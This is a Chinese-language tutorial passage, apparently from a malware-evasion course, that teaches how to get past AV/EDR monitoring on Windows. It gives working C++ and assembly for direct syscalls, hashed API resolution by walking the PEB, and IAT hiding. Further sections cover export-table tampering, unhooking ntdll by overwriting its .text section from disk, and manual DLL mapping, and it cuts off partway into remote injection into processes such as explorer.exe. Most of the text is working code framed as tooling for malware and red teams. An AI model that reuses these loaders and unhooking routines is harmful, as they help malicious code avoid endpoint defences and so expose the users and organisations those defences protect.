现代的AV和EDR主要依赖于用户模式钩取来监控潜在的恶意行为。这些钩取通常会放置在ntdll.dll中——该DLL包含用于从用户模式调用内核功能的系统调用存根。

通过绕过ntdll.dll并直接从汇编中调用系统调用,恶意软件可以避免被检测,因为EDR失去了对API链的可见性。


2.7.2 – 直接系统调用示例:NtAllocateVirtualMemory

以下示例展示了如何使用内联汇编手动调用NtAllocateVirtualMemory

syscalls.asm

1
2
3
4
5
6
7
8
9
10
.code

NtAllocateVirtualMemory PROC
mov r10, rcx ; 系统调用约定:r10 = RCX
mov eax, 0x18 ; NtAllocateVirtualMemory的系统调用号(Windows 10 x64)
syscall ; 进入内核模式
ret
NtAllocateVirtualMemory ENDP

END

注意:系统调用ID(0x18)可能会随着Windows版本的不同而变化,必须动态解析正确的系统调用号或根据构建解析。


syscalls.h

1
2
3
4
5
6
7
8
9
10
#pragma once

extern "C" NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <windows.h>
#include <iostream>
#include "syscalls.h"

int main() {
PVOID baseAddress = nullptr;
SIZE_T regionSize = 0x1000; // 4 KB
NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress,
0,
&regionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);

if (status == 0) {
std::cout << "[+] Memory allocated at " << baseAddress << std::endl;
} else {
std::cout << "[-] Syscall failed: " << std::hex << status << std::endl;
}

return 0;
}

用MASM(ML64)编译并将其与C++文件链接。


2.7.3 – 间接系统调用(syswhispers和syswhispers2)

间接系统调用使用动态生成的系统调用存根,并通过它们从C/C++跳转,而不会暴露可疑的静态字符串或硬编码的系统调用号。这提供了额外的混淆,非常适合红队工具。

工具:

  • SysWhispers2 – 生成带有随机名称和系统调用存根的头文件和汇编文件。

为什么使用间接系统调用而不是直接系统调用?

直接 间接
硬编码系统调用ID 动态解析
如果静态,容易被检测 更隐蔽
没有抽象 随机化的存根名称和调用
开销最小 支持现代EDR规避

2.7.4 – 实际使用与案例分析

  • Cobalt Strike BOF:使用系统调用避免EDR的用户模式可见性。

  • SliverC2:通过BOF或自定义加载器启用系统调用功能。

  • Shellcode加载器:经常使用系统调用而不是VirtualAllocCreateThread来避开ntdll钩取。


2.7.5 – 检测限制与风险

  • 配备内核回调(ObCallbacks,PsCallbacks)的EDR仍然可以检测到系统调用执行之后发生的事情(例如,内存写入或线程创建)。

  • 现代解决方案会检查内存布局(例如,系统调用存根地址不在ntdll.dll中)或进行栈检查来检测异常。

  • 系统调用号在Windows版本之间有所不同,使硬编码ID不可靠。


2.7.6 – 总结表

技术 优点 风险
直接系统调用 完全绕过用户模式钩取 硬编码系统调用号,特定版本
间接系统调用 混淆 + 用户模式规避 可能因RWX内存或Shellcode而被标记
工具 SysWhispers2,Hell’s Gate 可能因熵或反射加载而触发

模块 3 – Windows 内核及规避 API

3.1 - 理解Windows子系统与API层

概述

要理解恶意软件如何规避AV/EDR系统,首先必须了解应用程序如何通过分层API与Windows交互。这些知识使攻击者能够通过使用较少监控或未记录的路径绕过用户模式钩取并规避检测。


Windows中的执行层

  1. 应用程序代码(C/C++/汇编)

  2. 高级Win32 API(例如,CreateProcessVirtualAllocWriteFile

  3. NTDLL.dll(原生API,例如,NtCreateFileNtAllocateVirtualMemory

  4. 系统调用接口(syscallsysenterint 0x2e

  5. 内核模式执行(ntoskrnl.exe,内核驱动程序)


示例:分层调用内存分配

Win32 API层

1
2
// 这是高层的、广为人知并且被严重监控的调用
LPVOID buffer = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

NTDLL层

1
2
3
4
5
6
7
8
9
// 更隐蔽,但仍可能被EDR在用户模式下钩取
NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&buffer,
0,
&regionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);

直接系统调用层(高级)

在这里,直接执行syscall指令,绕过用户模式钩取。需要对系统调用号和正确的存根有一定的了解。现代APT(高级持续威胁)经常使用这种方法。


为什么EDR监控较高层次的API

  • 函数如CreateRemoteThreadVirtualProtectWriteProcessMemory等通常会被认为是恶意行为的高信号

  • EDR会在用户模式下钩取这些函数,以监控内存注入、进程创建等行为。

  • 这些API最终会调用ntdll.dll,该DLL发出系统调用以进入内核模式


钩取说明

示例:VirtualAlloc被EDR钩取

  • 当调用VirtualAlloc时,EDR的DLL可能已经替换了它的函数前导代码,使得控制跳转到监控代码。

  • 恶意软件通过直接调用NtAllocateVirtualMemory或构造系统调用存根来规避这种钩取。


直接调用原生API示例(绕过钩取API)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtAllocVM)(
HANDLE,
PVOID*,
ULONG_PTR,
PSIZE_T,
ULONG,
ULONG
);

int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtAllocVM NtAllocateVirtualMemory = (pNtAllocVM)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

PVOID buffer = NULL;
SIZE_T size = 4096;

NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&buffer,
0,
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

if (NT_SUCCESS(status)) {
MessageBoxA(0, "Memory allocated", "Success", 0);
}

return 0;
}

为什么它能规避: 这个方法避免了VirtualAlloc,后者通常会被钩取。然而,一些EDR现在甚至会钩取ntdll.dll的导出函数。这就需要使用系统调用存根ntdll卸载(在第7模块中讨论)。


真实世界恶意软件示例:Cobalt Strike

  • Cobalt Strike的Beacon使用反射加载

  • 不直接导入Win32 API,以避免静态检测。

  • 所有API调用都通过PEB遍历手动EAT解析来解决。

  • 它更倾向于使用系统调用原生API,从不直接调用CreateRemoteThread


检测点和影响

层级 监控工具 绕过策略
Win32 API AV/EDR钩取 使用原生API(ntdll.dll)
NTDLL导出 用户模式API钩取 卸载ntdll.dll,使用直接系统调用
系统调用接口 内核EDR驱动 随机化存根,使用间接系统调用
内核模式 内核回调 内核漏洞或ETW绕过

AV/EDR监控的关键API

API 目的 恶意软件的常见用途
VirtualAlloc/Ex 分配内存 有效载荷注入
WriteProcessMemory 写入另一个进程的内存 进程注入
CreateRemoteThreadEx 执行远程shellcode 在目标进程中执行代码
SetThreadContext 劫持线程执行 线程劫持
Nt*等同函数 原生API替代 绕过钩取/隐蔽操作

结论

理解这些API层级及其与Windows内部机制的交互是AV/EDR规避的基础。它使恶意软件能够:

  • 避免监控的函数

  • 隐藏意图,防止静态分析

  • 创建低噪声有效载荷,供红队和攻击工具使用

在未来的模块(模块8)中,我们将回顾这一点,并讨论直接系统调用生成间接系统调用以及ETW/AMSI绕过


3.2 - 探索PEB和TEB进行API解析和混淆

概述

为了规避AV/EDR检测,现代恶意软件通常避免通过导入地址表(IAT)直接导入敏感API。相反,它手动解析PEB(进程环境块)TEB(线程环境块),动态定位模块并解析API地址。这样可以绕过静态检测,避免可疑的导入,并减少对常被钩取API(如GetProcAddressLoadLibrary)的依赖。


为什么使用PEB进行API解析?

  • 绕过IAT导入,使静态分析变得更加困难。

  • **避免使用GetProcAddress**,后者经常被EDR监控。

  • 运行时隐蔽解析API地址

  • 真实世界的恶意软件Cobalt StrikeSliverEmpire使用这种技术。


结构概述

  • TEB指向PEB

  • PEB包含指向已加载模块列表的指针。

  • 可以通过fs:[0x30](x86)或gs:[0x60](x64)访问这些模块。


代码:通过PEB动态解析API(x64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <Windows.h>
#include <winternl.h>
#include <iostream>

typedef FARPROC(WINAPI* tGetProcAddress)(HMODULE, LPCSTR);
typedef HMODULE(WINAPI* tLoadLibraryA)(LPCSTR);

// 用于函数名混淆的哈希函数
DWORD HashFunction(const char* name) {
DWORD hash = 0;
while (*name) {
hash = ((hash << 5) + hash) + *name++; // djb2哈希
}
return hash;
}

FARPROC GetFunctionAddressByPEB(const char* libName, DWORD functionHash) {
PPEB peb = (PPEB)__readgsqword(0x60); // 访问PEB
PPEB_LDR_DATA ldr = peb->Ldr;

for (PLIST_ENTRY list = ldr->InMemoryOrderModuleList.Flink;
list != &ldr->InMemoryOrderModuleList;
list = list->Flink) {

PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(list, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

char baseName[MAX_PATH] = { 0 };
int len = WideCharToMultiByte(CP_ACP, 0, entry->BaseDllName.Buffer, entry->BaseDllName.Length / sizeof(WCHAR),
baseName, MAX_PATH, NULL, NULL);

if (_stricmp(baseName, libName) == 0) {
BYTE* base = (BYTE*)entry->DllBase;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS*


nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exports = (IMAGE_EXPORT_DIRECTORY*)
(base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);


DWORD* names = (DWORD*)(base + exports->AddressOfNames);
WORD* ordinals = (WORD*)(base + exports->AddressOfNameOrdinals);
DWORD* functions = (DWORD*)(base + exports->AddressOfFunctions);

for (DWORD i = 0; i < exports->NumberOfNames; i++) {
char* name = (char*)(base + names[i]);
if (HashFunction(name) == functionHash) {
return (FARPROC)(base + functions[ordinals[i]]);
}
}
}
}
return NULL;


}

int main() {
// 从kernel32.dll动态解析GetProcAddress
DWORD hash = HashFunction("GetProcAddress");
FARPROC getProc = GetFunctionAddressByPEB("kernel32.dll", hash);


if (getProc) {
std::cout << "解析的GetProcAddress: " << getProc << std::endl;
} else {
std::cout << "解析失败。" << std::endl;
}

return 0;


}


它的作用:

  • 避免使用LoadLibrary/GetProcAddress
  • 通过PEB查找kernel32.dll
  • 解析PE头部以定位导出表
  • 通过哈希函数隐藏目标API的意图
  • 返回解析的API目标地址

真实应用

APT恶意软件使用案例:

  • 植入程序避免静态导入VirtualAllocCreateThreadGetProcAddress
  • 相反,它通过PEB解析在运行时解析它们。
  • 这使得即使在静态AV/EDR扫描中,恶意软件仍然可以执行,避免了对可疑导入的检测。

示例恶意软件家族:

  • FIN7APT41 在多个工具集中使用过这一技术。
  • Cobalt Strike Beacon 加载器避免静态链接任何敏感API。

检测影响

技术 检测规避 可能的检测方式
手动PE解析通过PEB 行为/启发式
哈希查找API解析 内存扫描
使用自定义系统调用存根 非常高 内核级监控

下一步

下一子模块(3.3)将探索如何:

  • 操控或混淆IAT条目
  • 在自定义加载器中隐藏导入的API
  • 通过自定义PE加载器绕过检测

3.3 - 隐藏和混淆导入地址表(IAT)

简介

导入地址表(IAT)是Windows可执行文件用来在运行时动态链接API的关键结构。由于它揭示了二进制文件所使用的API,因此它是静态分析AV/EDR扫描的主要目标。通过混淆或隐藏IAT,恶意软件变得更加难以检测。


本技术的目标

  • 避免在IAT中列出敏感API(例如,VirtualAllocCreateRemoteThread)。

  • 绕过扫描静态导入的AV/EDR。

  • 允许使用更加隐蔽的方法在运行时解析必要的函数。


IAT混淆的关键技术

3.3.1 – 使用动态解析(没有导入部分)

您可以编写一个没有导入部分的PE文件,并在运行时手动解析所需的所有API。这在shellcode加载器和加密器中很常见。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 手动解析kernel32.dll基址和GetProcAddress(简化版)
#include <Windows.h>
#include <iostream>

// 定义自定义哈希函数以混淆API名称
DWORD hash_djb2(const char* str) {
DWORD hash = 5381;
int c;
while ((c = *str++)) {
hash = ((hash << 5) + hash) + c;
}
return hash;
}

// 手动解析API的示例
FARPROC ResolveAPIByName(const char* moduleName, const char* functionName) {
HMODULE hMod = LoadLibraryA(moduleName); // 不是很隐蔽,但演示时使用此方法
if (!hMod) return NULL;

DWORD funcHash = hash_djb2(functionName);
FARPROC addr = GetProcAddress(hMod, functionName); // 在真实规避中,您需要手动解析

return addr;
}

int main() {
auto VirtualAllocPtr = (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))ResolveAPIByName("kernel32.dll", "VirtualAlloc");

if (VirtualAllocPtr) {
void* mem = VirtualAllocPtr(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
std::cout << "内存分配地址: " << mem << std::endl;
}

return 0;
}

在真实世界的规避案例中:

  • LoadLibraryAGetProcAddress 也会通过PEB解析。

  • 字符串会被加密或存储为哈希。

  • 会使用手动解析的PE导出目录。


3.3.2 – 加密IAT并在运行时解密

另一种规避方法是加密IAT部分,并在使用API之前在内存中解密。这增加了复杂性并避免了通过静态分析检测IAT。

真实世界场景

  • Dridex木马家族使用过部分IAT混淆。

  • 加壳的投放程序通常会实现这种技术以防止沙箱提取。


3.3.3 – 自定义加载器无标准PE头部

恶意软件可以作为shellcode或包含在自定义PE加载器中的形式传递,且该加载器:

  • 不使用操作系统加载程序。

  • 手动解析头部。

  • 手动解析所有导入。

  • 避免将条目放入标准导入表。

此技术由以下软件使用:

  • Cobalt Strike Beacon加载器

  • Metasploit自定义可执行文件

  • APT恶意软件投放程序


3.3.4 – API踏印(覆盖IAT)

在解析一个API后,恶意软件可以用指向以下内容的指针覆盖IAT条目:

  • 另一个函数。

  • 自定义包装器或跳板。

  • 垃圾数据以误导分析工具。

此技术需要:

  • 对IAT部分(.idata)有写入权限。

  • 小心地进行重定向以避免崩溃。


检测与规避矩阵

技术 静态检测风险 运行时检测风险
正常IAT使用
手动API解析(PEB) 中(启发式)
IAT加密 非常低 高(内存扫描)
自定义加载器 / shellcode 非常低

关键考虑因素

  • 混淆只会延迟检测,它并不能永久阻止检测。

  • 结合多种技术(PEB遍历 + IAT加密)会更有效。

  • 使用延迟执行环境检查系统调用能提高规避成功率。

3.4 - API转发、钩子绕过和导出表篡改

简介

AV/EDR解决方案通常会钩住Windows的关键API函数以监控或阻止恶意活动。然而,存在一些高级技术可以绕过用户态钩子混淆导入解析器,或者篡改导出表,以重定向或掩盖执行流程。

本节探讨三种关键策略:

  1. API转发(合法与恶意使用)

  2. 钩子绕过(例如,调用未被钩住的API,直接调用系统调用)

  3. 导出表篡改(恶意操作)


3.4.1 – API转发

什么是API转发?

API转发是指在DLL中导出的函数指向另一个DLL中的函数,这是Windows中常见的模块化功能实现方式。

示例:

  • KERNEL32!HeapAlloc 会转发到 NTDLL!RtlAllocateHeap

恶意软件可以利用这种行为来:

  • 间接解析API。

  • 查找未被钩住的目标。

  • 通过直接调用低级API来绕过用户态钩子。

代码示例:通过 ntdll 转发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <Windows.h>
#include <iostream>

typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

int main() {
HMODULE ntdll = LoadLibraryA("ntdll.dll");

// 解析真实的实现,绕过 kernel32 的包装
FARPROC allocReal = GetProcAddress(ntdll, "NtAllocateVirtualMemory");

std::cout << "NtAllocateVirtualMemory resolved at: " << allocReal << std::endl;

return 0;
}

此方法也可以结合手动系统调用使用(如在模块2.7中所示)。


3.4.2 – 钩子绕过技术

EDR常常钩住高风险的API(例如CreateRemoteThread)来监控进程活动,使用以下方式:

  • IAT修补

  • 内联修补(覆盖函数前言)

  • 跳板技术(重定向)

绕过策略

  • PEB遍历:通过PEB手动解析API,避免触发标准的API解析。

  • 直接系统调用:完全绕过用户态。

  • 加载未被钩住的DLL副本

    • 使用LoadLibrary加载一个干净的DLL。

    • 通过内存段(.text)查找未修补的副本。

示例:加载干净的ntdll.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <Windows.h>
#include <iostream>

// 加载一个干净的、未被钩住的ntdll.dll
HMODULE LoadCleanNtdll() {
HMODULE hNtdll = NULL;
WCHAR path[MAX_PATH];
GetSystemDirectoryW(path, MAX_PATH);
wcscat_s(path, L"\\ntdll.dll");

hNtdll = LoadLibraryExW(path, NULL, DONT_RESOLVE_DLL_REFERENCES);
return hNtdll;
}

这通常被像TrickBotCobalt Strike加载器等恶意软件用来查找干净的.text部分,将其覆盖被钩住的部分,或者寻找干净的系统调用存根。


3.4.3 – 导出表篡改

为什么要篡改导出表?

一些打包器和加密器会修改导出地址表(EAT)来:

  • 用虚假的存根替换导出函数。

  • 重定向到加密或运行时生成的代码。

  • 在静态检查期间混淆AV/EDR。

示例:在内存中重写导出表

尽管复杂且在C/C++中很少直接使用,但可以通过以下方式实现:

  • 自定义PE加载器

  • 反射加载shellcode

  • 手动PE映射

1
2
3
4
5
6
7
8
// 伪代码(不完整)
PIMAGE_EXPORT_DIRECTORY exports = GetExportDirectory(moduleBase);

// 修改 AddressOfFunctions 表
exports->AddressOfFunctions[index] = RVA_to_YourCustomStub;

// 或者,清空整个导出目录,打破静态分析
ZeroMemory(exports, sizeof(IMAGE_EXPORT_DIRECTORY));

这种技术在无文件恶意软件阶段0加密器中常见,目的是混淆反汇编工具或AV启发式检测。


真实世界的恶意软件技术

恶意软件家族 使用的技术
Dridex 动态IAT解析,字符串哈希
TrickBot 手动系统调用解析,IAT篡改
Cobalt Strike 反射DLL加载,导出表篡改
APT恶意软件 PEB遍历,系统调用重定向

关键要点

  • API解析方法对于规避非常关键。

  • 混淆或绕过导入解析可以有效规避静态和运行时检测。

  • 高级规避技术结合使用系统调用、导出篡改、IAT混淆和内存技巧。


3.4.4 – 使用 LdrLoadDll 进行隐蔽DLL加载

LoadLibrary 是一个常见的EDR钩子目标,而恶意软件通常直接使用 ntdll!LdrLoadDll 来绕过用户态拦截。

示例:LdrLoadDll 来自NTDLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <Windows.h>
#include <winternl.h>
#include <iostream>

typedef NTSTATUS (NTAPI* _LdrLoadDll)(
PWCHAR PathToFile,
ULONG Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE ModuleHandle
);

void LoadDLLUsingLdr() {
_LdrLoadDll LdrLoadDll = (_LdrLoadDll)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "LdrLoadDll");

UNICODE_STRING ustr;
RtlInitUnicodeString(&ustr, L"kernel32.dll");
HANDLE hModule = NULL;

LdrLoadDll(NULL, 0, &ustr, &hModule);

std::wcout << L"Loaded module: " << hModule << std::endl;
}

为什么它规避EDR:EDR钩子通常安装在 LoadLibraryA/W,而 LdrLoadDll 是一个底层的内部函数,可以避免许多检测。


3.4.5 – 使用 LdrGetProcedureAddress 解析API

DLL加载后,可以通过以下方法手动解析函数:

1
2
3
4
5
6
typedef NTSTATUS (NTAPI* _LdrGetProcedureAddress)(
HMODULE hModule,
PANSI_STRING FunctionName,
WORD Ordinal,
PVOID* FunctionAddress
);

这种方式完全绕过了 GetProcAddress,后者是另一个常见的钩子目标。


3.4.6 – 覆盖钩住的 .text 部分

AV/EDR经常在已加载模块的 .text 部分注入跳板钩子(如 ntdll.dllkernel32.dll)。一种经典技术是:

  1. 使用 CreateFileReadFile 从磁盘加载一个干净的DLL。

  2. 解析PE头。

  3. 提取干净的 .text 部分。

  4. 使用干净的版本覆盖内存中的已钩住 .text

示例(简化版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
void UnhookNtdll() {
// 从磁盘打开干净的ntdll
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD size = GetFileSize(hFile, NULL);
BYTE* cleanNtdll = new BYTE[size];
ReadFile(hFile, cleanNtdll, size, &size, NULL);

// 定位干净文件中的.text部分
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(cleanNtdll + dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(section[i].Name, ".text", 5) == 0) {
// 覆盖内存中的钩住部分
DWORD oldProtect;
VirtualProtect((LPVOID)(GetModuleHandleW(L"ntdll.dll") + section[i].VirtualAddress),
section[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);

memcpy((LPVOID)(GetModuleHandleW(L"ntdll.dll") + section[i


].VirtualAddress),
cleanNtdll + section[i].PointerToRawData, section[i].SizeOfRawData);


VirtualProtect((LPVOID)(GetModuleHandleW(L"ntdll.dll") + section[i].VirtualAddress),
section[i].Misc.VirtualSize, oldProtect, &oldProtect);

break;
}
}

delete[] cleanNtdll;
CloseHandle(hFile);


}

````

**为什么它有效**:EDR钩子只存在于内存中。如果您从磁盘加载并覆盖 `.text`,您就**移除了用户态钩子**,恢复了干净的系统调用存根。

---

### **3.4.7 – 手动解析导出表**

为了避免使用 `GetProcAddress`,攻击者可以直接解析**导出地址表(EAT)**并手动解析函数:

```cpp
FARPROC ManualGetProcAddress(HMODULE hModule, const char* funcName) {
BYTE* base = (BYTE*)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_DATA_DIRECTORY exportDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IMAGE_EXPORT_DIRECTORY* exportTable = (IMAGE_EXPORT_DIRECTORY*)(base + exportDir.VirtualAddress);

DWORD* nameRVAs = (DWORD*)(base + exportTable->AddressOfNames);
WORD* ordinals = (WORD*)(base + exportTable->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)(base + exportTable->AddressOfFunctions);

for (DWORD i = 0; i < exportTable->NumberOfNames; i++) {
char* name = (char*)(base + nameRVAs[i]);
if (strcmp(name, funcName) == 0) {
return (FARPROC)(base + funcs[ordinals[i]]);
}
}

return NULL;
}
````

**优点**:完全隐蔽的API解析,不触及 `GetProcAddress` 或触发已知的API断点。

---

### **3.4.8 – 在反射加载器和无文件恶意软件中使用**

许多反射DLL加载器(例如Cobalt Strike信标、Empire起始器)包括:

- 手动PE解析

- 自定义导入地址表(IAT)解析

- 导出和重定位解析

- 将段复制到内存中


反射加载**避免使用Windows加载器**,从而绕过DLL加载钩子和导入解析。

---

**实现这些技术的工具**

- **Donut** – 具有手动解析和PE注入的shellcode生成

- **sRDI** – 具有导出解析的shellcode反射DLL注入

- **TitanLdr** – 自定义用户态加载器,处理导出和重定位

- **HollowHunter** – 通过比较磁盘与内存来检测用户态钩子


---

**总结表格**

| 技术 | 规避目标 |
| ------------------------ | ------------------- |
| `LdrLoadDll` | 绕过 `LoadLibrary` 钩子 |
| `LdrGetProcedureAddress` | 绕过 `GetProcAddress` |
| `.text` 覆盖 | 移除内联钩子 |
| 手动解析EAT | 隐蔽API解析 |
| 反射加载 | 不触发回调加载DLL |
| 磁盘与内存比较 | 检测EDR钩子存在 |

## **3.5 - 手动映射DLL和自定义加载器**

手动映射是一种技术,用于**在内存中加载DLL,而不使用标准的Windows API**,如 `LoadLibrary` 或 `LdrLoadDll`。这种方式可以避免触发监控DLL加载或导入的EDR钩子。

手动映射涉及解析PE文件格式、为DLL分配内存、手动复制各个段、应用重定位、手动解析导入并调用入口点——这些步骤都是通过程序化实现的。

该技术在恶意软件加载器、红队工具和shellcode构建器中得到了广泛应用。

---

### **3.5.1 手动映射过程概述**

手动映射包含以下核心步骤:

1. **解析PE文件(DLL)**

2. **在目标进程中分配内存**

3. **将头文件和段复制到分配的内存中**

4. **如果基地址不同,修复重定位**

5. **手动解析导入**

6. **手动调用入口点(如 `DllMain`)**


---

### **3.5.2 为什么手动映射可以绕过AV/EDR**

- **没有调用 `LoadLibrary` 或 `LdrLoadDll`** → 不触发DLL加载事件

- **没有使用导入地址表(IAT)** → 绕过导入钩子

- **入口点手动调用** → 没有类似 `LdrpCallInitRoutine` 的加载器回调

- **可以通过远程线程注入** → 完全隐蔽的注入


---

### **3.5.3 基本手动映射实现(本地进程)**

**警告**:此代码是简化版本,仅适用于基本的、非复杂的以 `/ENTRY:DllMain` 编译的DLL。

```cpp
#include <Windows.h>
#include <iostream>
#include <fstream>

bool ManualMap(BYTE* dllBuffer) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBuffer;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBuffer + dos->e_lfanew);

SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;
BYTE* remoteImage = (BYTE*)VirtualAlloc(NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteImage) return false;

// 复制头文件
memcpy(remoteImage, dllBuffer, nt->OptionalHeader.SizeOfHeaders);

// 复制段
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
memcpy(remoteImage + section[i].VirtualAddress,
dllBuffer + section[i].PointerToRawData,
section[i].SizeOfRawData);
}

// 重定位(简化版:假设是 IMAGE_REL_BASED_DIR64)
DWORD delta = (DWORD_PTR)remoteImage - nt->OptionalHeader.ImageBase;
if (delta) {
IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir.Size) {
IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)(remoteImage + relocDir.VirtualAddress);
while (reloc->VirtualAddress) {
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* relocData = (WORD*)(reloc + 1);
for (DWORD i = 0; i < count; i++) {
if ((relocData[i] >> 12) == IMAGE_REL_BASED_DIR64) {
DWORD64* patch = (DWORD64*)(remoteImage + reloc->VirtualAddress + (relocData[i] & 0xFFF));
*patch += delta;
}
}
reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
}

// 入口点
DWORD entryRVA = nt->OptionalHeader.AddressOfEntryPoint;
auto DllMain = (BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID))(remoteImage + entryRVA);
DllMain((HINSTANCE)remoteImage, DLL_PROCESS_ATTACH, NULL);

return true;
}

使用示例:

1
2
3
4
5
6
int main() {
std::ifstream file("mydll.dll", std::ios::binary);
std::vector<BYTE> buffer(std::istreambuf_iterator<char>(file), {});
ManualMap(buffer.data());
return 0;
}

3.5.4 注释和实际应用案例

  • 恶意软件:大多数现代无文件恶意软件通过使用上述技术的变种手动加载DLL。

  • Cobalt Strike:反射DLL使用手动映射的形式加载。

  • 后期利用框架:自定义加载器用于绕过AMSI和EDR,避免使用系统API。

  • 代码注入:在远程进程注入时使用手动映射(例如,在游戏作弊、恶意软件分发器中)。


3.5.5 反检测好处

特性 优势
不使用 LoadLibrary 日志或ETW中没有DLL加载事件
不使用导入表 避开导入地址钩子
没有加载的模块注册 不出现在 LdrDataTableEntry
自定义内存权限 避免PAGE_EXECUTE_READ的启发式检测

3.5.6 限制和检测向量

即使是手动映射也可以被检测到,特别是:

  • .data.text 段在执行期间被写入(被内存监视器追踪)

  • 内存区域标记为 RWX(常见的启发式标志)

  • 异常的内存布局(与标准PE加载器不匹配)

  • 入口点执行模式被ETW或用户态API监控检测

  • 反射加载器模式(如已知的起始shell)被扫描

检测示例

  • Sysmon事件ID 7:手动注入的DLL没有LoadLibrary记录

  • ETW进程转储:ETW提供程序如 ImageLoad 不会注册这些DLL

  • 内存扫描工具:如Volatility或Hunt-Sleeping-Beacons能检测到手动映射的PE文件


3.5.7 远程手动映射(注入其他进程)

目标:

远程进程(例如 explorer.exe, notepad.exe)的内存中加载DLL,**无需使用 LoadLibrary**,以规避遥测、ETW事件和API钩子。


远程映射步骤概述:

  1. 将DLL读取到内存(本地)

  2. 以足够的权限打开目标进程

  3. 在目标进程中分配内存(VirtualAllocEx

  4. 将DLL头文件和段写入目标进程内存(WriteProcessMemory

  5. 手动解析重定位和导入(适应远程环境)

  6. 创建远程线程执行DLL的入口点


高层代码(Windows API)

以下代码分为几部分,以便解释每个步骤。


第1步:将DLL读取到内存

1
2
std::ifstream file("stealth.dll", std::ios::binary);
std::vector<BYTE> dllBuffer(std::istreambuf_iterator<char>(file), {});

第2步:打开目标进程

1
2
3
4
5
6
